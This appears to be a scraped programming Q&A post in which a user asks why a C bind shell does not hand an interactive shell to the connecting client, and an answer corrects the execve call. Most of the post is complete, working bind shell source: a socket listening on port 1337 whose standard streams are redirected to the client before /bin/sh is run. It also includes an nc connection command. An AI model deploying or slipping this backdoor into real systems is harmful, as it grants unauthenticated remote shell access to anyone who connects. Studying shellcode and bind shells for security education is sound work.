简体   繁体   中英

Simple Linux Bindshell in C - Returning Shell Control to Client

I am having trouble getting a simple TCP bindshell to work, and I am hoping someone here can help me out.

Here is some simple sample code in C, the problem are for me is the last 5 lines or so.

Let's call this simple_bindshell.c (I am not the author):

// Author:  Julien Ahrens (@MrTuxracer)
// Website:  http://www.rcesecurity.com 

#include <stdio.h>
#include <unistd.h>
#include <sys/socket.h>
#include <netinet/in.h>

int main(void)
{
    int i; // used for dup2 later
    int sockfd; // socket file descriptor
    int clientfd; // client file descriptor
    socklen_t socklen; // socket-length for new connections

    struct sockaddr_in srv_addr; // server aka listen address
    struct sockaddr_in cli_addr; // client address

    srv_addr.sin_family = AF_INET; // server socket type address family = internet protocol address
    srv_addr.sin_port = htons( 1337 ); // server port, converted to network byte order
    srv_addr.sin_addr.s_addr = htonl (INADDR_ANY); // listen on any address, converted to network byte order

    // create new TCP socket
    sockfd = socket( AF_INET, SOCK_STREAM, IPPROTO_IP );

    // bind socket
    bind( sockfd, (struct sockaddr *)&srv_addr, sizeof(srv_addr) );

    // listen on socket
    listen(sockfd, 0);

    // accept new connections
    socklen = sizeof(cli_addr);
    clientfd = accept(sockfd, (struct sockaddr *)&cli_addr, &socklen );

    // dup2-loop to redirect stdin(0), stdout(1) and stderr(2)
    for(i = 0; i <= 2; i++)
        dup2(clientfd, i);

    // magic
    // execve( "/bin/sh", NULL, NULL );

    //UPDATE: fixed exec call, shell still not returned to
    // client connecting with execl or proper execve
    execl("/bin/sh", "/bin/sh", (char *)NULL);
}

Problem Description

When compiled, I can connect to the socket (using: nc 192.168.xx 1337). The problem is my client connection is closed immediately, and the shell is returned to the simple_bindshell process on the server, not the client who initiated the connection.

I get that we've duplicated the stdin, stdout, stderr file descriptors, but I am not sure how that links to executing /bin/sh.

What I would like to happen is the client connecting in gets an interactive shell back.

I have tried calling execve in a few different ways (eg passing different values for argv), but I can't seem to get my head around why it's not working. Does execve need the client file descriptor?

Any help would be appreciated

Your arguments to execve() are wrong. The second argument must be a pointer to an array of strings, which will become the argv array in the new program. The third argument must be a pointer to an array of strings that will become the environment array of the new program.

char *new_argv[] = {"/bin/sh", NULL};
char *new_envp[] = {NULL};
execve( "/bin/sh", new_argv, new_envp);

You could do it more simply using execl() :

execl("/bin/sh", "/bin/sh", (char *)NULL);

The technical post webpages of this site follow the CC BY-SA 4.0 protocol. If you need to reprint, please indicate the site URL or the original address.Any question please contact:yoyou2525@163.com.

 
粤ICP备18138465号  © 2020-2024 STACKOOM.COM